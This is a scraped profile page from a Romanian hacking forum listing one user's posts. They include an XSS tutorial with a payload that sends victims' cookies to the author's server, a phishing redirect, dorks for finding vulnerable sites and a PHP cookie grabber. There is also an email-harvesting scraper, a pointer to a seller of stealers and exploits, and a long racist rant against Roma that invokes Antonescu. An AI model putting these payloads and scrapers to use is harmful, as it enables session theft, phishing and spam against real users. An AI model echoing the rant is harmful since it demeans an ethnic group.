Dragos
-
Posts
2658 -
Joined
-
Last visited
-
Days Won
74
Everything posted by Dragos
-
Da, am fost si eu idiot o data, dar mi-am revenit. @alinn : Inscrieri in directoare web, mass-uri, seo, etc.
-
Despre XSS Autor: Synthesis Data: 19 mai 2010 Acest articol este munca a doua ore si un bax de Becks. Cuprins: [1] Ce este XSS? [2] Tipuri de XSS [2.1] XSS nepersistent [2.2] XSS persistent [3] Cum se exploateaza un XSS? [3.1] Furtul de prajiturele [3.2] Redirectionarea catre alta pagina [3.3] Trecerea de filtrele de securitate [4] Cum se creeaza un cookie grabber? Cerinte: Cunostinte HTML Cunostinte JavaScript Cunostinte PHP 1. Ce este XSS? XSS (Cross Site Scripting) este o vulnerabilitate foarte intalnita in aplicatiile web ce permite utilizatorilor sa injecteze cod javascript in pagini web ce pot fi vizualizate de ceilalti. Cu ajutorul acestor coduri javascript se pot fura cookie-uri, se pot trece de filtrele de securitate, se pot face redirectionari catre alte pagini web pentru phishing. Vom vorbi despre toate acestea pe parcursul articolului. Vulnerabilitatile de tip XSS sunt exploatate inca din anii '90. Timp de 20 de ani, acest atac a afectat multe site-uri mari precum Google, Yahoo!, hi5, Facebook, MySpace, Tagged s.a. 2. Tipuri de XSS Exista doua tipuri de Cross Site Scripting. [2.1] XSS nepersistent In primul rand este XSS-ul nepersistent (sau reflectat), ce se foloseste in formularele de tip HTML (HTML forms). Spre exemplu, luam site-ul First Bike. Vom observa in partea dreapta sus o casuta de cautare. Sa scriem spre exemplu cuvantul test. URL-ul va fi de genul urmator : http://firstbike.ro/cauta.php?src=test Bun, deci cautarea se face prin GET. In loc de test vom adauga un cod javascript simplu, si anume alert. http://firstbike.ro/cauta.php?src=<script>alert('xss')</script> Browserul va arata o casuta in care scrie xss. Acum, in loc de 'xss' vom pune document.cookie. Acesta este defapt cookie-ul tau de pe site. http://firstbike.ro/cauta.php?src=<script>alert(document.cookie)</script> De aici, se poate crea un cookie grabber pentru a fura cookie-urile utilizatorilor. Vom vorbi despre asta putin mai tarziu in articol. [2.2] XSS persistent In al doilea rand este XSS-ul persistent (sau retinut), ce este mult mai rau decat XSS-ul reflectat. Acest tip de XSS este memorat in site si este accesibil oricarui utilizator. Cel mai frecvent am observat ca acest tip de XSS se regaseste in site-urile ce memoreaza ultimele cautari alte utilizatorilor. Puteti vedea aici un exemplu de XSS persistent. Pentru mai multe XSS-uri persistente cautati pe Google cu Google dorks: intext: cautari similare intext: cautari recente intext: ulitmele cautari intext: cautari referate intext: cautari muzica etc. 3. Cum se exploateaza un XSS? Cum apare un XSS? Un XSS apare din cauza nefiltrarii (sau filtrarii proaste) a codului. Aveti mai jos un exemplu de nefiltrare al XSS-ului <html> <head> <title>Vulnerabilitate XSS</title> </head> <body> <form action="index.php" method="get"> <input type="text" value="codul tau aici" name="cauta"> <input type="submit" value="cauta"> </form> <?php $get = $_GET['cauta']; echo $get; ?> Pentru a exploata un XSS, trebuie in primul rand sa ai notiunile de baza despre JavaScript. [3.1] Furtul de prajiturele XSS-ul este folosit in principal pentru a fura prajiturele (cookies). Pentru asta, se foloseste document.location sau window.location pentru a redirectiona victima catre un cookie grabber (despre care discutam imediat in articol). Codul este urmatorul: <script>document.location="http://www.siteultau.ro/grabber/index.php?cookie="+document.cookie;</script> [3.2] Redirectionarea catre alta pagina Codul este aproximativ la fel, doar ca nu mai folosim document.cookie. Acest cod este folosit deseori pentru furtul de date. <script>document.location="http://www.siteultau.ro/paginafalsa/index.php";</script> [3.3] Trecerea de filtrele de securitate Acest tip de XSS este scris de obicei in bara de adresa. Spre exemplu, daca avem un INPUT care are valoarea maxima de X caractere, putem folosi comanda urmatoare pentru a scrie cate caractere vrem: javascript:document.getElementsByTagName('form')[0].NAME.value = "textul tau aici"; void(0); [0] = index-ul NAME = NAME-ul input-ului (ex: <input type="text" name="rstcenter">) Prin acest JavaScript am dat de cateva XSS permanente in site-uri mari precum Yahoo! si hi5. 4. Cum se creeaza un cookie grabber? Am discutat anterior despre furtul cookie-urilor. Acum voi explica cum se face un simplu cookie grabber. In primul rand vom folosi functia $_GET pentru a prelua cookie-ul. <?php $c = $_GET['cookie']; ?> Aceasta functie va prelua orice text ce vine dupa cookie=. Spre exemplu, daca avem index.php?cookie=2dccd1ab3e03990aea77359831c85ca2, codul 2dccd1ab3e03990aea77359831c85ca2 va fi preluat in variabila $c. Il vom memora intr-un fisier .txt. <?php $c= $_GET['cookie'] . "\n"; $fisier = "prajiturele.txt"; $deschis = fopen($fisier, 'a'); fwrite($deschis, $c); fclose($deschis); ?> Pentru incepatori: 1. Fisierul prajiturele.txt se pune in acelasi director cu cookie grabber-ul. 2. Fisierul prajiturele.txt primeste CHMOD 777. Sper ca v-a ajutat acest mic tutorial!
-
Federal prosecutors have accused a man of carrying out a series of botnet offenses including attacks that brought down the websites of conservative talking heads Bill O'Reilly, Ann Coulter, and Rudolph Giuliani. Mitchell L. Frost was an undergraduate student at the University of Akron at the time of the DDoS, or distributed denial-of-service, attacks, which lasted over a five-day period in March 2008, prosecutors alleged in court documents. The attacks on billoreilly.com, anncoulter.com and joinrudy2008.com "rendered each website inoperable, at least temporarily, and required intervention and repair by the owners of such sites, and caused damages or losses which exceeded $5,000," they wrote. Frost, who went by the handle "FrostAie," also stands accused of using his botnet to launch a much bigger assault on a University of Akron server that knocked out the college's entire network, depriving "tens of thousands of students, faculty and staff members" of connectivity for more than eight hours. Prosecutors said the attack appeared to be a mistake and that the intended target was an unnamed gaming server that was hosted on the university network. The outage cost the university more than $10,000. Prosecutors also accuse Frost of using his botnet to steal credit card information. When agents raided Frost's dorm room on March 28 2008, they allegedly retrieved almost 3,000 stolen login credentials, and 136 pieces of data for compromising card accounts. He was charged with one count each of intentionally causing damage to a protected computer and possession of 15 or more unauthorized access devices. Court records indicate he has not yet made a court appearance. http://www.theregister.co.uk/2010/05/19/bill_oreilly_ddos_attacks/
-
Microsoft on Tuesday warned users of a vulnerability in 64-bit versions of Windows 7 and Windows Server 2008 R2 that could expose users to malware attacks. Exploitation of the bug in the Canonical Display Driver would most likely cause vulnerable machines only to reboot, Microsoft spokesman Jerry Bryant said in a blog post. But it could also be abused to silently install malware, although attackers first would have to bypass memory randomization protections baked in to the operating systems to prevent code execution attacks, he added. The vulnerability stems from the Canonical Display Driver's failure to properly parse information copied from user mode to kernel mode. Malicious hackers could exploit it by tricking a victim into viewing a booby-trapped image file on a website or in email. The driver emulates the Windows XP display driver for interactions with earlier Windows graphics engines. Bryant said a patch would be forthcoming, but didn't say when. In the meantime, users can prevent attacks by disabling the Windows Aero Theme. To turn it off, choose Start > Control Panel and click on Appearance and Personalization. Then click on Change the Theme. Then select one of the Basic and High Contrast Themes. http://www.theregister.co.uk/2010/05/18/windows_7_security_bug/
-
Facebook users can now register the browsers they regularly employ to log in from and choose to be alerted when their account is accessed from somewhere else. In case of suspicious activity, additional security questions must be answered, after which the recent logins can be reviewed. "Over the last few weeks, we've been testing a new feature that allows you to approve the devices you commonly use to log in and then to be notified whenever your account is accessed from a device you haven't approved. This feature is now available to everyone," Lev Popov, a Facebook software engineer, announces on the company's official blog. http://news.softpedia.com/news/Facebook-Rolls-Out-New-Account-Security-Features-142099.shtml
-
Interesant, dar ma gandesc ca este bindat cu ceva deoarece are doar 2 post-uri. Virustotal. MD5: d370f936f6bbf1ddf841ce22a5f07fa3 Heuristic.LooksLike.Trojan.Dropper.E +iframe cu linkbucks.com
-
happy bday qbert!
-
e cumva zbeng?
-
Eh nu? http://romaniannationalsecurity.com/
-
Totusi, era mai bine sa-i zici adevarul fiindca ea nu stia si a apelat la tine sa o ajuti. -
Felicitari pentru 30000 utilizatori.
-
Am facut si eu un mail extractor in AutoIT.. #include <String.au3> #include <INet.au3> #include "file.au3" #notrayicon $pu = 0 $i = 50000 while $i <= 50400 $link = "http://www.profilehi5.com/hi5-" & $i & ".html" $ss = _inetgetsource ($link) $id = _StringBetween ($ss,'<title> Hi5 ',' </title>') if @error Then $i = $i+1 elseif $id[0]=="" Then $i = $i + 1 elseif stringinstr ($id[0],":") then $i = $i + 1 elseif stringinstr ($id[0],"!") then $i = $i + 1 else if stringinstr ($id[0],"@") then fileopen ("cur.txt",1) filewriteline ("cur.txt", $id[0]) fileclose ("cur.txt") $i = $i+1 $pu = $pu + 1 Else $id[0] = $id[0] & "@yahoo.com" fileopen ("cur.txt",1) filewriteline ("cur.txt", $id[0]) fileclose ("cur.txt") $i = $i+1 $pu = $pu + 1 endif endif wend msgbox (64, "Terminat", "Am extras " & $pu & " mail-uri"&@crlf&"Acum sunt in total "& (_filecountlines ("cur.txt")) & " mail-uri") Nu e cine stie ce, dar am extras cateva zeci de mii de mail-uri in jumatate de ora.
-
Ce distributii de Linux va plac?
Dragos replied to a13x4nd7u's topic in Sisteme de operare si discutii hardware
Ubuntu (il folosesc de luni de zile) si BackTrack 4 -
aflarea datelor de logare Yahoo fara decriptare ETS
Dragos replied to acronis's topic in Programe utile
Acronis, ai inventat roata, vorba lui ROFL. Sunt deja multe tutoriale pe RST si tool-uri pentru a fura ETS-ul. Citeste aici. -
Am discutat cu multi oameni treaba asta. In primul rand, francezul cand greseste recunoaste, englezul cand greseste recunoaste, romanul cand greseste da vina pe tigani. Intr-adevar, nu in toate cazurile, dar cand vine vorba de ce-au facut romanii in afara, da. In al doilea rand, acum cativa zeci de ani, in Brasov (cel putin) erau foarte putini tigani (cam 200-300). Acuma, daca dai pe la maternitate vezi un copil roman, patru copii tigani. De asemenea, tiganul nu face scoala deloc in viata sa. De mic este invatat sa fure, sa injure si sa scuipe. Daca maica-sa il intreaba cand este mic: "Draga, vrei sa vii cu mama la padure sa culegem ciuperci sau sa te duci la scoala sa inveti?", copilul normal ca va alege prima varianta. EXISTA tigani destepti, dar aceia sunt 1% din populatia tiganilor din Romania. De altfel, ei nici nu se spala prea frecvent. Daca te iei de un tigan, o sa zica ca esti rasist, dar el se duce sa cerseasca pe toate drumurile si te roaga frumos sa-i dai si lui un ban iar daca refuzi, ori te scuipa, ori te injura, ori te blesteama. Nu in ultimul rand, cei de sus nu fac nimic pentru 'ajutorarea' acestor tigani. Avea unul de pe RST o vorba : "daca mai traia Antonescu, nici pana acum nu se termina rezerva de sapun a tiganilor". In concluzie, ne meritam imaginea.
-
Nu mai fiti rai cu el. Nu conteaza ca are limbajul asta, 70% de pe RST folosesc limbajul de messenger. Sa revin la idee, nu se pot sterge comentariile pe care le lasi la altul pe profil. Un prieten de-ai mei (Nuno Peralta) mi-a spus ca aceasta optiune este inca "in constructie" si va fi lansata in curand. Pana atunci, poti doar sa il rogi pe proprietarul profilului sa-ti stearga comentariul. Si referitor la blocare, mesajul este This item has been blocked and cannot be viewed. The user who posted this item has been blocked due to abuse of the hi5 Terms of Service.. Acest mesaj apare atunci cand in comentariul tau se afla unul din cuvintele "necenzurate" sau daca faci spam. Nu merge (motiv de securitate).
-
Eu, de mic, cant la pian. Porecla mi-am luat-o de la un program care te ajuta sa inveti mai bine anumite piese la pian (Synthesia).
-
Foarte interesant.. Trei cuvinte tineti minte: Garda merge inainte!
-
da add : hackerdeduminica@yahoo.com.. are baiatu asta stealere, virusi, exploituri, de toate
-
Cum scapam de tigani? - Page 9 - RST
